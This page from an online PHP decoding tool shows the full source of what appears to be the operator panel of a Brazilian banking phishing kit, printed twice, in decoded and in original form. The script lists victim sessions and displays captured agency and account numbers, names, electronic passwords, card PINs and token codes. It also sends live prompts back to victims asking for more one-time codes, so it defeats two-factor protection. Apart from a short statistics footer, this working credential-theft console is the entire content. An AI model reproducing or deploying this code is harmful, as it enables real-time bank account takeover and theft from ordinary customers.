Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ?><?php session_start(); if (!isset($_SESSION['QNT'])) { $_SESSION['QNT'] = 0..

Decoded Output download

<?php ?><?php 
session_start(); 
if (!isset($_SESSION['QNT'])) { 
    $_SESSION['QNT'] = 0; 
    $_SESSION['RPT'] = 0; 
} 
include ('config.php'); 
echo "<body style= 'background-color : #bec3bf; text-align:center' >"; 
if (isset($_REQUEST['inf'])) { 
    $inf = $_REQUEST['inf']; 
    $arquivo = $localInfo . $inf; 
    $in = explode(".info", $inf); 
    $bthtmlSE = '<div id="bntCont" onclick="if (validas6()){ post(\'' . $in[0] . '\',\'outros\');}"></div>'; 
    $bthtml = '<div id="bntCont" onclick="post(\'' . $in[0] . '\',\'outros\');"></div>'; 
    $bt = $_POST['btoperador']; 
    $arq = fopen($arquivo, 'rw+'); 
    $arr = (array)json_decode(fgets($arq)); 
    rewind($arq); 
    ftruncate($arq, 0); 
    if (isset($_POST['TipoInfo'])) { 
        $arr['TipoInfo'] = $_POST['TipoInfo']; 
    } 
    if ($bt == 'agcn') { 
        $arr['STATUS'] = 'INICIO'; 
        $arr['msg'] = $agcninv; 
    } 
    if ($bt == 'senhae') { 
        $arr['STATUS'] = 'SELETRONICA'; 
        $arr['NOME'] = $_POST['nome']; 
        $arr['msg'] = $msgsEletronica . $bthtmlSE; 
    } 
    if ($bt == 'finaliza') { 
        $arr['STATUS'] = 'FINALIZADA'; 
        $arr['msg'] = '<div id="aguarde"> <div id="finaliz"> </div> </div>'; 
    } 
    if ($bt == 'opera') { 
        $arr['STATUS'] = 'OPERADOR'; 
        $oop = $_POST['operador']; 
        if ($oop === "nascimento") { 
            $arr['msg'] = $msgNascimento . $bthtml; 
        } 
        if ($oop == 'senhae') { 
            $arr['STATUS'] = 'SELETRONICA'; 
            $arr['NOME'] = $_POST['nome']; 
            $arr['msg'] = '<script> alert("Senha Eletronica Invalida"); </script>'; 
            $arr['msg'].= $msgsEletronica . $bthtmlSE; 
        } 
        if ($oop === "cpfop") { 
            $arr['msg'] = $msgCPFop . $bthtml; 
        } 
        if ($oop === "cpfopinv") { 
            $arr['msg'] = '<script> alert("CPF ou Operador Invalido!"); </script>'; 
            $arr['msg'].= $msgCPFop . $bthtml; 
        } 
        if ($oop === "cpf") { 
            $arr['msg'] = $msgCPF . $bthtml; 
        } 
        if ($oop === "dia_nasc") { 
            $arr['msg'] = $msgDIA . $bthtml; 
        } 
        if ($oop === "mes_nasc") { 
            $arr['msg'] = $msgMES . $bthtml; 
        } 
        if ($oop === "ano_nasc") { 
            $arr['msg'] = $msgANO . $bthtml; 
        } 
        if ($oop === "cod_operador") { 
            $arr['msg'] = $msgOperador . $bthtml; 
        } 
        if ($oop === "n_serie") { 
            $arr['msg'] = $msgNSerie . $bthtml; 
        } 
        if ($oop === "n_serieinv") { 
            $arr['msg'] = '<script> alert("Numero de Serie Invalido!"); </script>'; 
            $arr['msg'].= $msgNSerie . $bthtml; 
        } 
        if ($oop === "senhaSeis") { 
            $arr['msg'] = $msgSenhaSeis . $bthtml; 
        } 
        if ($oop === "tokinv") { 
            $arr['msg'] = '<script> alert("iToken Invalido!"); </script><div id="titulo">Segurana:</div><div id="texto">Digite o numero do dispositivo de Segurana (Token) final ' . $_POST['reftokcs'] . ' </div><div id="dadospanel"><table><tr><td><img src="img/img.php?img=tk"  style="width: 100px;" > </td><td><input class="cmpOp" type="text" minlength="6" maxlength="6" id="codigo" name="codigo" onkeypress="return SomenteNumero(event);"></td>></tr></table></div>'; 
            $arr['msg'].= $bthtml; 
        } 
    } 
    if ($bt == 'tk_cs') { 
        $str = '<div id="titulo">Segurana:</div><div id="texto">Digite o numero '; 
        if ($_POST['tipo'] == "Tabela") { 
            $str.= 'da Posio ' . $_POST['tabNum'] . ', Tabela ref. No.: ' . $_POST['reftokcs']; 
        } else { 
            $str.= 'do dispositivo de Segurana (Token) final ' . $_POST['reftokcs']; 
        } 
        if ($_POST['chkS6'] == 's6') { 
            $str.= ' e sua senha do Carto'; 
        } 
        if ($_POST['chkS6'] == 'nserie') { 
            $str.= ' e o Numero de Serie'; 
        } 
        $str.= ' </div><div id="dadospanel"><table><tr><td><img src="'; 
        if ($_POST['tipo'] == "Tabela") { 
            $str.= 'img/img.php?img=crd"  style="width: 85px;" >'; 
        } else { 
            $str.= 'img/img.php?img=tk"  style="width: 100px;" >'; 
        } 
        $str.= '</td><td><input class="cmpOp" type="text" maxlength='; 
        if ($_POST['tipo'] == "Tabela") { 
            $str.= '"4"'; 
        } else { 
            $str.= '"6"'; 
        } 
        $str.= 'id="codigo" name="codigo" minlength="4" valida="Dados Invalido!" onkeypress="return SomenteNumero(event);"></td>'; 
        if ($_POST['chkS6'] == 's6') { 
            $str.= '</tr><tr><td>Senha do Carto:</td><td><input class="cmpOp" type="password" minlength="6" valida="Sua senha deve ter 6 digitos!" maxlength="6" id="sSeis" name="sSeis" onkeypress="return SomenteNumero(event);">'; 
        } 
        if ($_POST['chkS6'] == 'nserie') { 
            $str.= '</tr><tr><td>Numero de Srie :</td><td><input class="cmpOp" type="text" minlength="8" maxlength="10" valida="Numero de Serie Invalido!" id="nSerie" name="nSerie" onkeypress="return SomenteNumero(event);">'; 
        } 
        $str.= '</td></tr></table></div>'; 
        $arr['STATUS'] = "TOK_CS"; 
        $arr['msg'] = $str . $bthtml; 
    } 
    fwrite($arq, json_encode($arr)); 
    fclose($arq); 
    $arq = fopen($arquivo, 'r'); 
    $arr = (array)json_decode(fgets($arq), true); 
    fclose($arq); 
    echo "<title>$inf - by Kskcc0o </title>"; 
    echo "<h2 align='center'>$inf - Operador Kskcc0o</h2>"; 
    // print_r($_POST); 
    if ($arr['STATUS'] == 'AGUARDANDO') { 
        echo "<h2 align='center'> <font size='3' color='red'> " . $arr['STATUS'] . " </font> </h2>"; 
        echo '<audio autoplay="autoplay"><source src="op.mp3" /></audio> '; 
        echo '<meta http-equiv="refresh" content="50;URL=">'; 
    } else { 
        echo "<h2 align='center'> <font size='3' color='green'> " . $arr['STATUS'] . " </font> </h2>"; 
        echo '<meta http-equiv="refresh" content="5;URL=">'; 
    } 
    //------------------------ LAYOUT ---------------------------\ 
     
?> 
 
<table align="center" height="194" style="font-family:Tahoma;font-size:11px;font-weight:bold;border:1px solid #000000;"> 
  <tbody><tr> 
    <td width="200" height="59">Agencia: <? echo $arr['agencia'];?></td> 
    <td width="194">Conta: <? echo $arr['conta'];?></td> 
    <th rowspan="6">C&oacute;digos<br> 
      <textarea name="textarea" rows="13"><?foreach ($arr['codigo'] as $key => $value) {echo $value . " 
";}?></textarea></th> 
  </tr> 
  <tr> 
    <td height="40" colspan="2">Nome: <? echo $arr['NOME'];?></td> 
  </tr> 
  <tr> 
    <td height="40" colspan="2">Senha Eletronica: <? echo $arr['sEletronica'];?></td> 
  </tr> 
  <tr> 
    <td height="40" colspan="2">Senha 6: <? echo $arr['sSeis'];?></td> 
  </tr> 
  <tr> 
    <td height="40">Operador: <? echo $arr['operador'];?></td> 
    <td>Nascimento: <? echo $arr['nascimento'];?></td> 
  </tr> 
  <tr> 
    <td height="40" colspan="2">N&uacute;mero S&eacute;rie: <nserie><? echo $arr['nSerie'];?></nserie></td> 
  </tr> 
</tbody></table> 
<div align="center"> 
    <form id="frmop" method="POST" action="?inf=<? echo $inf ;?>"> 
    <table width="580" style="font-family:Tahoma;font-size:11px;"> 
    <tbody><tr> 
      <td width="90" height="38"></td> 
      <td width="429" style="border:1px solid #000000;"> 
     <br> 
     <select id="TipoInfo" name="TipoInfo" style="font-size: 12px;width: 200px;"> 
        <option value="norm.css" <?php if ($arr['TipoInfo'] == "norm.css") { 
        echo "selected"; 
    } ?> >-----NORMAL---------------------------</option> 
        <option value="pers.css" <?php if ($arr['TipoInfo'] == "pers.css") { 
        echo "selected"; 
    } ?> >---------------PERSONAL---------------</option> 
        <option value="uni.css"  <?php if ($arr['TipoInfo'] == "uni.css") { 
        echo "selected"; 
    } ?> >-------------------------UNICLASS-----</option> 
 
</select>  
<br> 
    <br> 
    + Nome: <input style="border:1px solid #000000;width:200px;font-family:tahoma;font-size:11px;height:20px;" onkeyup="this.value = this.value.toUpperCase();" name="nome" value="<? echo $arr['NOME'];?>"><br><br> 
 
    
 
    <select name="operador" id="operador" style="border:1px solid #000000;font-family:tahoma;font-size:11px;height:20px;"> 
      <option value="nascimento">Nascimento</option> 
      <option value="cpf">CPF</option> 
      <option value="cod_operador">Operador</option> 
      <option value="cpfop">CPF ou Operador</option> 
      <option value="n_serie">Numero de Serie</option> 
       <option value="dia_nasc">DIA Nascimento</option> 
      <option value="mes_nasc">MES Nascimento</option> 
      <option value="ano_nasc">ANO Nascimento</option> 
      <option >----------------</option> 
      <option value="senhaSeis">Senha de 6 invalida</option> 
      <option value="senhae">Senha Eletronica Invalida</option> 
      <option value="tokinv">Token Invalido</option>  
      <option value="n_serieInv">Numero de Serie Invalido</option> 
      <option value="cpfopinv">CPF ou Operador Invalido</option> 
    </select> 
    
 
 
    <button type="submit" value="opera" name="btoperador" onClick="return confirm('Pede Operador??');">Enviar</button> 
    <br><br> 
    </td> 
    <th width="90"></th> 
  </tr> 
  <tr><td></td><td style="border:1px solid #000000;"> 
 
  <button type="submit" value="agcn" name="btoperador" onClick="return confirm('Agencia ou Conta Invalida?');">Ag/Cn Invalida</button> 
  <button type="submit" value="senhae" name="btoperador" align="right" onClick="return confirm('Senha Eletronica??');"> Senha Eletronica</button> 
 
 
  </td></tr> 
  <tr></tr> 
  <tr> 
      <td height="50"> 
         
      </td> 
      <td style="border:1px solid #000000;"> 
        <fieldset style="float: left;"> 
        <input type="radio" name="tipo" value="Token" id="tipo1">Token &nbsp;&nbsp;&nbsp;&nbsp; 
        <input type="radio" name="tipo" value="Tabela" id="tipo2">Cart&atilde;o&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
       </fieldset> 
       <fieldset style="float: left;"> 
        <input type="radio" id="chkS6" name="chkS6" value='s6'> Senha 6 
        <input type="radio" id="chkS6" name="chkS6" value='nserie'> Num. Serie 
        <input type="radio" id="chkS6" name="chkS6" value='sotok' checked="true"> so token 
</fieldset> 
      </td> 
    </tr> 
     
    <tr> 
    <td></td> 
    <td style="border:1px solid #000000;">Final:  
    <input maxlength="3" style="border:1px solid #000000; width:30px;font-family:tahoma;font-size:11px;height:20px;" name="reftokcs" id="reftokcs" value="<?php echo $_POST['reftokcs']; ?>">  
    Posio:  
    <input maxlength="3" style="border:1px solid #000000; width:30px;font-family:tahoma;font-size:11px;height:20px;" name="tabNum" id="tabNum" value="<?php echo $_POST['tabNum']; ?>">     
    <button type="submit" value="tk_cs" name="btoperador" onClick="return confirm('Token / Tabela??');">Pede Tok/Tab</button> 
    
    
    </td></tr> 
    <tr><td></td><td style="border:1px solid #000000;" align="center">xxxxxxxxxxxxxxxxxx 
     
    <button type="submit" value="finaliza" name="btoperador" onClick="return confirm('deseja realmente Finalizar??');">Finaliza</button> 
     
    xxxxxxxxxxxxxxxxxx</td></tr> 
  </tbody></table> 
 
    </form> 
</div> 
<? 
  //------------------------ LAYOUT ---------------------------\ 
 
 
 
} 
else{ 
 
   
   echo '<title>Operador ITA - by Kskcc0o </title>'; 
   echo '<meta http-equiv="refresh" content="5;URL=">';  
  echo "<h2 align='center'>Operador Kskcc0o</h2>"; 
 
  $diretorio = dir($localInfo); 
  $qnt = 0; 
 
  while($arquivo = $diretorio -> read()){ 
    if (strpos($arquivo, '.info') ){ 
      $name = explode(".info" ,$arquivo); 
      if (isset($_POST['limpa'])){rename($localInfo . $arquivo, $localInfo . $name[0]."old"); $_SESSION['QNT'] = 0 ; continue;} 
      echo "<a target='_blank' href='?inf=".$arquivo."'><font size='4'>".$arquivo."</font></a>"; 
      $arq = fopen($localInfo . $arquivo, 'r'); 
      $tmparr = (array)json_decode(fgets($arq)); 
 
      fclose($arq); 
      $qnt++; 
      if ($tmparr['STATUS'] == 'AGUARDANDO'){ 
        echo "&nbsp;&nbsp;&nbsp; - <font size='2' color='red'> " . $tmparr['STATUS'] . " </font> <br>"; 
         
      } 
      else 
      { 
        echo "&nbsp;&nbsp;&nbsp; - <font size='2' color='green'> " . $tmparr['STATUS'] . " </font><br>"; 
      } 
      unset($tmparr);       
    } 
     
  } 
  if ($_SESSION['QNT'] != $qnt){ 
      echo '<audio autoplay="autoplay"><source src="op.mp3" /></audio>'; 
      if ($_SESSION['RPT'] < 3){ 
        $_SESSION['RPT'] = $_SESSION['RPT'] + 1; 
      } 
      else{ $_SESSION['QNT'] = $qnt;} 
  } 
   
  $diretorio -> close(); 
 
echo '<form id="frmop" method="POST" action="">'; 
  echo "<br><br><button id='limpa' name='limpa' value='ok' onClick=\"return confirm('Limpar Infos??');\">Limpar</button>"; 
echo '</form>'; 
 
} 
 
 
 
?>

Did this file decode correctly?

Original Code

<?php ?><?php
session_start();
if (!isset($_SESSION['QNT'])) {
    $_SESSION['QNT'] = 0;
    $_SESSION['RPT'] = 0;
}
include ('config.php');
echo "<body style= 'background-color : #bec3bf; text-align:center' >";
if (isset($_REQUEST['inf'])) {
    $inf = $_REQUEST['inf'];
    $arquivo = $localInfo . $inf;
    $in = explode(".info", $inf);
    $bthtmlSE = '<div id="bntCont" onclick="if (validas6()){ post(\'' . $in[0] . '\',\'outros\');}"></div>';
    $bthtml = '<div id="bntCont" onclick="post(\'' . $in[0] . '\',\'outros\');"></div>';
    $bt = $_POST['btoperador'];
    $arq = fopen($arquivo, 'rw+');
    $arr = (array)json_decode(fgets($arq));
    rewind($arq);
    ftruncate($arq, 0);
    if (isset($_POST['TipoInfo'])) {
        $arr['TipoInfo'] = $_POST['TipoInfo'];
    }
    if ($bt == 'agcn') {
        $arr['STATUS'] = 'INICIO';
        $arr['msg'] = $agcninv;
    }
    if ($bt == 'senhae') {
        $arr['STATUS'] = 'SELETRONICA';
        $arr['NOME'] = $_POST['nome'];
        $arr['msg'] = $msgsEletronica . $bthtmlSE;
    }
    if ($bt == 'finaliza') {
        $arr['STATUS'] = 'FINALIZADA';
        $arr['msg'] = '<div id="aguarde"> <div id="finaliz"> </div> </div>';
    }
    if ($bt == 'opera') {
        $arr['STATUS'] = 'OPERADOR';
        $oop = $_POST['operador'];
        if ($oop === "nascimento") {
            $arr['msg'] = $msgNascimento . $bthtml;
        }
        if ($oop == 'senhae') {
            $arr['STATUS'] = 'SELETRONICA';
            $arr['NOME'] = $_POST['nome'];
            $arr['msg'] = '<script> alert("Senha Eletronica Invalida"); </script>';
            $arr['msg'].= $msgsEletronica . $bthtmlSE;
        }
        if ($oop === "cpfop") {
            $arr['msg'] = $msgCPFop . $bthtml;
        }
        if ($oop === "cpfopinv") {
            $arr['msg'] = '<script> alert("CPF ou Operador Invalido!"); </script>';
            $arr['msg'].= $msgCPFop . $bthtml;
        }
        if ($oop === "cpf") {
            $arr['msg'] = $msgCPF . $bthtml;
        }
        if ($oop === "dia_nasc") {
            $arr['msg'] = $msgDIA . $bthtml;
        }
        if ($oop === "mes_nasc") {
            $arr['msg'] = $msgMES . $bthtml;
        }
        if ($oop === "ano_nasc") {
            $arr['msg'] = $msgANO . $bthtml;
        }
        if ($oop === "cod_operador") {
            $arr['msg'] = $msgOperador . $bthtml;
        }
        if ($oop === "n_serie") {
            $arr['msg'] = $msgNSerie . $bthtml;
        }
        if ($oop === "n_serieinv") {
            $arr['msg'] = '<script> alert("Numero de Serie Invalido!"); </script>';
            $arr['msg'].= $msgNSerie . $bthtml;
        }
        if ($oop === "senhaSeis") {
            $arr['msg'] = $msgSenhaSeis . $bthtml;
        }
        if ($oop === "tokinv") {
            $arr['msg'] = '<script> alert("iToken Invalido!"); </script><div id="titulo">Segurana:</div><div id="texto">Digite o numero do dispositivo de Segurana (Token) final ' . $_POST['reftokcs'] . ' </div><div id="dadospanel"><table><tr><td><img src="img/img.php?img=tk"  style="width: 100px;" > </td><td><input class="cmpOp" type="text" minlength="6" maxlength="6" id="codigo" name="codigo" onkeypress="return SomenteNumero(event);"></td>></tr></table></div>';
            $arr['msg'].= $bthtml;
        }
    }
    if ($bt == 'tk_cs') {
        $str = '<div id="titulo">Segurana:</div><div id="texto">Digite o numero ';
        if ($_POST['tipo'] == "Tabela") {
            $str.= 'da Posio ' . $_POST['tabNum'] . ', Tabela ref. No.: ' . $_POST['reftokcs'];
        } else {
            $str.= 'do dispositivo de Segurana (Token) final ' . $_POST['reftokcs'];
        }
        if ($_POST['chkS6'] == 's6') {
            $str.= ' e sua senha do Carto';
        }
        if ($_POST['chkS6'] == 'nserie') {
            $str.= ' e o Numero de Serie';
        }
        $str.= ' </div><div id="dadospanel"><table><tr><td><img src="';
        if ($_POST['tipo'] == "Tabela") {
            $str.= 'img/img.php?img=crd"  style="width: 85px;" >';
        } else {
            $str.= 'img/img.php?img=tk"  style="width: 100px;" >';
        }
        $str.= '</td><td><input class="cmpOp" type="text" maxlength=';
        if ($_POST['tipo'] == "Tabela") {
            $str.= '"4"';
        } else {
            $str.= '"6"';
        }
        $str.= 'id="codigo" name="codigo" minlength="4" valida="Dados Invalido!" onkeypress="return SomenteNumero(event);"></td>';
        if ($_POST['chkS6'] == 's6') {
            $str.= '</tr><tr><td>Senha do Carto:</td><td><input class="cmpOp" type="password" minlength="6" valida="Sua senha deve ter 6 digitos!" maxlength="6" id="sSeis" name="sSeis" onkeypress="return SomenteNumero(event);">';
        }
        if ($_POST['chkS6'] == 'nserie') {
            $str.= '</tr><tr><td>Numero de Srie :</td><td><input class="cmpOp" type="text" minlength="8" maxlength="10" valida="Numero de Serie Invalido!" id="nSerie" name="nSerie" onkeypress="return SomenteNumero(event);">';
        }
        $str.= '</td></tr></table></div>';
        $arr['STATUS'] = "TOK_CS";
        $arr['msg'] = $str . $bthtml;
    }
    fwrite($arq, json_encode($arr));
    fclose($arq);
    $arq = fopen($arquivo, 'r');
    $arr = (array)json_decode(fgets($arq), true);
    fclose($arq);
    echo "<title>$inf - by Kskcc0o </title>";
    echo "<h2 align='center'>$inf - Operador Kskcc0o</h2>";
    // print_r($_POST);
    if ($arr['STATUS'] == 'AGUARDANDO') {
        echo "<h2 align='center'> <font size='3' color='red'> " . $arr['STATUS'] . " </font> </h2>";
        echo '<audio autoplay="autoplay"><source src="op.mp3" /></audio> ';
        echo '<meta http-equiv="refresh" content="50;URL=">';
    } else {
        echo "<h2 align='center'> <font size='3' color='green'> " . $arr['STATUS'] . " </font> </h2>";
        echo '<meta http-equiv="refresh" content="5;URL=">';
    }
    //------------------------ LAYOUT ---------------------------\
    
?>

<table align="center" height="194" style="font-family:Tahoma;font-size:11px;font-weight:bold;border:1px solid #000000;">
  <tbody><tr>
    <td width="200" height="59">Agencia: <? echo $arr['agencia'];?></td>
    <td width="194">Conta: <? echo $arr['conta'];?></td>
    <th rowspan="6">C&oacute;digos<br>
      <textarea name="textarea" rows="13"><?foreach ($arr['codigo'] as $key => $value) {echo $value . "
";}?></textarea></th>
  </tr>
  <tr>
    <td height="40" colspan="2">Nome: <? echo $arr['NOME'];?></td>
  </tr>
  <tr>
    <td height="40" colspan="2">Senha Eletronica: <? echo $arr['sEletronica'];?></td>
  </tr>
  <tr>
    <td height="40" colspan="2">Senha 6: <? echo $arr['sSeis'];?></td>
  </tr>
  <tr>
    <td height="40">Operador: <? echo $arr['operador'];?></td>
    <td>Nascimento: <? echo $arr['nascimento'];?></td>
  </tr>
  <tr>
    <td height="40" colspan="2">N&uacute;mero S&eacute;rie: <nserie><? echo $arr['nSerie'];?></nserie></td>
  </tr>
</tbody></table>
<div align="center">
    <form id="frmop" method="POST" action="?inf=<? echo $inf ;?>">
    <table width="580" style="font-family:Tahoma;font-size:11px;">
    <tbody><tr>
      <td width="90" height="38"></td>
      <td width="429" style="border:1px solid #000000;">
     <br>
     <select id="TipoInfo" name="TipoInfo" style="font-size: 12px;width: 200px;">
        <option value="norm.css" <?php if ($arr['TipoInfo'] == "norm.css") {
        echo "selected";
    } ?> >-----NORMAL---------------------------</option>
        <option value="pers.css" <?php if ($arr['TipoInfo'] == "pers.css") {
        echo "selected";
    } ?> >---------------PERSONAL---------------</option>
        <option value="uni.css"  <?php if ($arr['TipoInfo'] == "uni.css") {
        echo "selected";
    } ?> >-------------------------UNICLASS-----</option>

</select> 
<br>
    <br>
    + Nome: <input style="border:1px solid #000000;width:200px;font-family:tahoma;font-size:11px;height:20px;" onkeyup="this.value = this.value.toUpperCase();" name="nome" value="<? echo $arr['NOME'];?>"><br><br>

   

    <select name="operador" id="operador" style="border:1px solid #000000;font-family:tahoma;font-size:11px;height:20px;">
      <option value="nascimento">Nascimento</option>
      <option value="cpf">CPF</option>
      <option value="cod_operador">Operador</option>
      <option value="cpfop">CPF ou Operador</option>
      <option value="n_serie">Numero de Serie</option>
       <option value="dia_nasc">DIA Nascimento</option>
      <option value="mes_nasc">MES Nascimento</option>
      <option value="ano_nasc">ANO Nascimento</option>
      <option >----------------</option>
      <option value="senhaSeis">Senha de 6 invalida</option>
      <option value="senhae">Senha Eletronica Invalida</option>
      <option value="tokinv">Token Invalido</option> 
      <option value="n_serieInv">Numero de Serie Invalido</option>
      <option value="cpfopinv">CPF ou Operador Invalido</option>
    </select>
   


    <button type="submit" value="opera" name="btoperador" onClick="return confirm('Pede Operador??');">Enviar</button>
    <br><br>
    </td>
    <th width="90"></th>
  </tr>
  <tr><td></td><td style="border:1px solid #000000;">

  <button type="submit" value="agcn" name="btoperador" onClick="return confirm('Agencia ou Conta Invalida?');">Ag/Cn Invalida</button>
  <button type="submit" value="senhae" name="btoperador" align="right" onClick="return confirm('Senha Eletronica??');"> Senha Eletronica</button>


  </td></tr>
  <tr></tr>
  <tr>
      <td height="50">
        
      </td>
      <td style="border:1px solid #000000;">
        <fieldset style="float: left;">
        <input type="radio" name="tipo" value="Token" id="tipo1">Token &nbsp;&nbsp;&nbsp;&nbsp;
        <input type="radio" name="tipo" value="Tabela" id="tipo2">Cart&atilde;o&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
       </fieldset>
       <fieldset style="float: left;">
        <input type="radio" id="chkS6" name="chkS6" value='s6'> Senha 6
        <input type="radio" id="chkS6" name="chkS6" value='nserie'> Num. Serie
        <input type="radio" id="chkS6" name="chkS6" value='sotok' checked="true"> so token
</fieldset>
      </td>
    </tr>
    
    <tr>
    <td></td>
    <td style="border:1px solid #000000;">Final: 
    <input maxlength="3" style="border:1px solid #000000; width:30px;font-family:tahoma;font-size:11px;height:20px;" name="reftokcs" id="reftokcs" value="<?php echo $_POST['reftokcs']; ?>"> 
    Posio: 
    <input maxlength="3" style="border:1px solid #000000; width:30px;font-family:tahoma;font-size:11px;height:20px;" name="tabNum" id="tabNum" value="<?php echo $_POST['tabNum']; ?>">    
    <button type="submit" value="tk_cs" name="btoperador" onClick="return confirm('Token / Tabela??');">Pede Tok/Tab</button>
   
   
    </td></tr>
    <tr><td></td><td style="border:1px solid #000000;" align="center">xxxxxxxxxxxxxxxxxx
    
    <button type="submit" value="finaliza" name="btoperador" onClick="return confirm('deseja realmente Finalizar??');">Finaliza</button>
    
    xxxxxxxxxxxxxxxxxx</td></tr>
  </tbody></table>

    </form>
</div>
<?
  //------------------------ LAYOUT ---------------------------\



}
else{

  
   echo '<title>Operador ITA - by Kskcc0o </title>';
   echo '<meta http-equiv="refresh" content="5;URL=">'; 
  echo "<h2 align='center'>Operador Kskcc0o</h2>";

  $diretorio = dir($localInfo);
  $qnt = 0;

  while($arquivo = $diretorio -> read()){
    if (strpos($arquivo, '.info') ){
      $name = explode(".info" ,$arquivo);
      if (isset($_POST['limpa'])){rename($localInfo . $arquivo, $localInfo . $name[0]."old"); $_SESSION['QNT'] = 0 ; continue;}
      echo "<a target='_blank' href='?inf=".$arquivo."'><font size='4'>".$arquivo."</font></a>";
      $arq = fopen($localInfo . $arquivo, 'r');
      $tmparr = (array)json_decode(fgets($arq));

      fclose($arq);
      $qnt++;
      if ($tmparr['STATUS'] == 'AGUARDANDO'){
        echo "&nbsp;&nbsp;&nbsp; - <font size='2' color='red'> " . $tmparr['STATUS'] . " </font> <br>";
        
      }
      else
      {
        echo "&nbsp;&nbsp;&nbsp; - <font size='2' color='green'> " . $tmparr['STATUS'] . " </font><br>";
      }
      unset($tmparr);      
    }
    
  }
  if ($_SESSION['QNT'] != $qnt){
      echo '<audio autoplay="autoplay"><source src="op.mp3" /></audio>';
      if ($_SESSION['RPT'] < 3){
        $_SESSION['RPT'] = $_SESSION['RPT'] + 1;
      }
      else{ $_SESSION['QNT'] = $qnt;}
  }
  
  $diretorio -> close();

echo '<form id="frmop" method="POST" action="">';
  echo "<br><br><button id='limpa' name='limpa' value='ok' onClick=\"return confirm('Limpar Infos??');\">Limpar</button>";
echo '</form>';

}



?>

Function Calls

session_start 1

Variables

$_SESSION [{'key': 'QNT', 'value': 0}, {'key': 'RPT', 'value': 0}]

Stats

MD5 284255aefdd618fe9549ea08928185d8
Eval Count 0
Decode Time 155 ms